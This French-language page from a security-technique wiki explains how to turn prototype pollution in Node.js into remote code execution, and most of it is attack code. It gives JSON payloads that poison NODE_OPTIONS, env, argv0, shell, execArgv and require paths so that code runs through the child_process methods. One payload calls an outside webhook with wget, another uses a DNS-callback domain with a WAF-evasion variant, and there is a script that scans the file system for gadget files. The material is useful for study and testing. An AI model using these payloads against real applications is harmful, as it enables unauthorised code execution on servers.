Pollution de Prototype à RCE

Reading time: 20 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Code Vulnérable

Imaginez un vrai JS utilisant un code comme celui-ci :

javascript
const { execSync, fork } = require("child_process")

function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(target) {
return merge({}, target)
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")

PP2RCE via env vars

PP2RCE signifie Prototype Pollution to RCE (Exécution de Code à Distance).

Selon cette analyse, lorsqu'un processus est créé avec une méthode de child_process (comme fork ou spawn ou d'autres), il appelle la méthode normalizeSpawnArguments qui est un gadget de pollution de prototype pour créer de nouvelles variables d'environnement :

javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Vérifiez ce code, vous pouvez voir qu'il est possible de poisonner envPairs simplement en polluant l'**attribut .env.

Poisoning __proto__

warning

Notez qu'en raison de la façon dont la fonction normalizeSpawnArguments de la bibliothèque child_process de node fonctionne, lorsque quelque chose est appelé pour définir une nouvelle variable d'environnement pour le processus, vous devez simplement polluer n'importe quoi.
Par exemple, si vous faites __proto__.avar="valuevar", le processus sera lancé avec une var appelée avar avec la valeur valuevar.

Cependant, pour que la variable d'environnement soit la première, vous devez polluer l'attribut .env et (uniquement dans certaines méthodes) cette var sera la première (permettant l'attaque).

C'est pourquoi NODE_OPTIONS n'est pas à l'intérieur de .env dans l'attaque suivante.

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Empoisonner constructor.prototype

javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

Un payload similaire à celui précédent avec quelques modifications a été proposé dans cet article. Les principales différences sont :

  • Au lieu de stocker le payload nodejs à l'intérieur du fichier /proc/self/environ, il le stocke inside argv0 de /proc/self/cmdline.
  • Ensuite, au lieu de requérir via NODE_OPTIONS le fichier /proc/self/environ, il requiert /proc/self/cmdline.
javascript
const { execSync, fork } = require("child_process")

// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)

clone(USERINPUT)

var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec

Interaction DNS

En utilisant les charges utiles suivantes, il est possible d'abuser de la variable d'environnement NODE_OPTIONS dont nous avons discuté précédemment et de détecter si cela a fonctionné avec une interaction DNS :

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}

Ou, pour éviter que les WAF demandent le domaine :

json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}

Vuln PP2RCE fonctions child_process

Dans cette section, nous allons analyser chaque fonction de child_process pour exécuter du code et voir si nous pouvons utiliser une technique pour forcer cette fonction à exécuter du code :

exec exploitation
javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
Exploitation de execFile
javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")

// stdin trick - not working
// Not using stdin

// Windows - not working

Pour que execFile fonctionne, il DOIT exécuter node pour que les NODE_OPTIONS fonctionnent.
S'il n'exécute pas node, vous devez trouver comment vous pourriez modifier l'exécution de ce qui est exécuté avec des variables d'environnement et les définir.

Les autres techniques fonctionnent sans cette exigence car il est possible de modifier ce qui est exécuté via la pollution de prototype. (Dans ce cas, même si vous pouvez polluer .shell, vous ne polluerez pas ce qui est exécuté).

fork exploitation
javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")

// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn exploitation
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Exploitation de execFileSync
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync exploitation
javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync exploitation
javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forcer Spawn

Dans les exemples précédents, vous avez vu comment déclencher le gadget, une fonctionnalité qui appelle spawn doit être présente (toutes les méthodes de child_process utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait partie du code, mais que se passe-t-il si le code ne l'appelle pas.

Contrôler un chemin de fichier require

Dans cette autre analyse, l'utilisateur peut contrôler le chemin du fichier où un require sera exécuté. Dans ce scénario, l'attaquant doit simplement trouver un fichier .js à l'intérieur du système qui exécutera une méthode spawn lorsqu'il sera importé.
Quelques exemples de fichiers courants appelant une fonction spawn lorsqu'ils sont importés sont :

  • /path/to/npm/scripts/changelog.js
  • /opt/yarn-v1.22.19/preinstall.js
  • Trouvez plus de fichiers ci-dessous

Le script simple suivant recherchera des appels de child_process sans aucun remplissage (pour éviter d'afficher des appels à l'intérieur des fonctions) :

bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Fichiers intéressants trouvés par le script précédent
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();
  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Définir le chemin du fichier require via la pollution de prototype

warning

La technique précédente nécessite que l'utilisateur contrôle le chemin du fichier qui va être requis. Mais ce n'est pas toujours vrai.

Cependant, si le code va exécuter un require après la pollution de prototype, même si vous ne contrôlez pas le chemin qui va être requis, vous pouvez forcer un chemin différent en abusant de la pollution de prototype. Donc même si la ligne de code est comme require("./a_file.js") ou require("bytes"), cela requiert le package que vous avez pollué.

Par conséquent, si un require est exécuté après votre pollution de prototype et qu'aucune fonction spawn n'est appelée, voici l'attaque :

  • Trouvez un fichier .js à l'intérieur du système qui, lorsqu'il est requis, va exécuter quelque chose en utilisant child_process
  • Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pourriez télécharger un fichier comme ça
  • Polluez les chemins pour forcer le chargement du require du fichier .js qui va exécuter quelque chose avec child_process
  • Polluez l'environ/cmdline pour exécuter du code arbitraire lorsqu'une fonction d'exécution child_process est appelée (voir les techniques initiales)

Require absolu

Si le require effectué est absolu (require("bytes")) et que le package ne contient pas main dans le fichier package.json, vous pouvez polluer l'attribut main et faire en sorte que le require exécute un fichier différent.

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relatif - 1

Si un chemin relatif est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node charge un chemin différent :

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relative - 2

javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)

clone(USERINPUT)

var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Require relatif - 3

Semblable au précédent, cela a été trouvé dans ce rapport.

javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}

require("./usage.js")

Gadgets VM

Dans le document https://arxiv.org/pdf/2207.11171.pdf, il est également indiqué que le contrôle de contextExtensions de certaines méthodes de la bibliothèque vm pourrait être utilisé comme un gadget.
Cependant, comme les méthodes child_process précédentes, cela a été corrigé dans les dernières versions.

Corrections & protections inattendues

Veuillez noter que la pollution de prototype fonctionne si l'attribut d'un objet qui est accédé est indéfini. Si dans le code cet attribut est défini avec une valeur, vous ne pourrez pas le remplacer.

En juin 2022, à partir de ce commit, la variable options au lieu d'un {} est un kEmptyObject. Cela empêche une pollution de prototype d'affecter les attributs de options pour obtenir RCE.
Au moins depuis v18.4.0, cette protection a été implémentée, et donc les exploits spawn et spawnSync affectant les méthodes ne fonctionnent plus (si aucun options n'est utilisé !).

Dans ce commit, la pollution de prototype de contextExtensions de la bibliothèque vm a été également en quelque sorte corrigée en définissant les options sur kEmptyObject au lieu de {}.

Autres Gadgets

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks